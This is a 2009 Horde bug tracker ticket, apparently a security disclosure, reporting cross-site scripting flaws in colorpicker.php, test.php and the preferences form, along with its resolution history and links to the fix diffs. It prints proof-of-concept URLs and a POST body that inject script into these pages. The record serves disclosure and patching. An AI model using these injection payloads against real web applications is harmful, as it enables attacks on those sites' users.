| Summary | Number preferences are not validated properly |
| Queue | Horde Base |
| Queue Version | HEAD |
| Type | Bug |
| State | Resolved |
| Priority | 2. Medium |
| Owners | chuck (at) horde (dot) org |
| Requester | security (at) davidwharton (dot) us |
| Created | 07/03/2009 (5967 days ago) |
| Due | |
| Updated | 07/11/2009 (5959 days ago) |
| Assigned | 07/11/2009 (5959 days ago) |
| Resolved | 07/11/2009 (5959 days ago) |
| Github Issue Link | |
| Github Pull Request | |
| Milestone | 3.3.5 |
| Patch | No |
Taken from
State ⇒ Resolved
http://cvs.horde.org/diff.php/framework/Prefs/Prefs/UI.php?rt=horde&r1=1.104&r2=1.105&ty=u
http://cvs.horde.org/diff.php/horde/docs/CHANGES?rt=horde&r1=1.1239&r2=1.1240&ty=u
http://cvs.horde.org/diff.php/horde/lib/prefs.php?rt=horde&r1=1.53&r2=1.54&ty=u
Summary ⇒ Number preferences are not validated properly
Milestone ⇒ 3.3.5
Version ⇒ HEAD
State ⇒ Assigned
Assigned to
Assigned to Chuck Hagenbuch
version is 3.3, and we backport serious security fixes to 3.2.
https://hordeserver.com/horde/services/images/colorpicker.php?form=prefs&target=color"];%0d}%0dalert('XSS');%0dfunction%20juice()%20{%0dparent.opener.document.prefs["
http://cvs.horde.org/diff.php/horde/templates/test/extensions.inc?r1=1.8&r2=1.9
following content:
This I can actually reproduce as a problem. Patch forthcoming.
Priority ⇒ 2. Medium
State ⇒ Unconfirmed
Patch ⇒ No
Milestone ⇒
Queue ⇒ Horde Base
Summary ⇒ Multiple Cross Site Scripting Vulnerabilities
Type ⇒ Bug
http://hordeserver.com/horde/services/images/colorpicker.php?form=//--><!--a75c305b1c0a6022--><script>alert('XSS')</script>
https://hordeserver.com/horde/services/images/colorpicker.php?form=prefs&target=color"];%0d}%0dalert('XSS');%0dfunction%20juice()%20{%0dparent.opener.document.prefs["
https://hordeserver.com/horde/test.php?mode=extensions&ext=<!--a75c305b1c0a6022--><script>alert('XSS')</script>
POST to http://hordeserver.com/horde/services/prefs.php with the
following content:
actionID=update_prefs&group=display&app=horde&initial_application=horde&theme=azur&summary_refresh_time=0&show_sidebar=on&sidebar_width=1337//-->%0d%<!--a75c305b1c0a6022--><script>alert('XSS')</script>//&menu_view=text&menu_refresh_time=0&widget_accesskey=on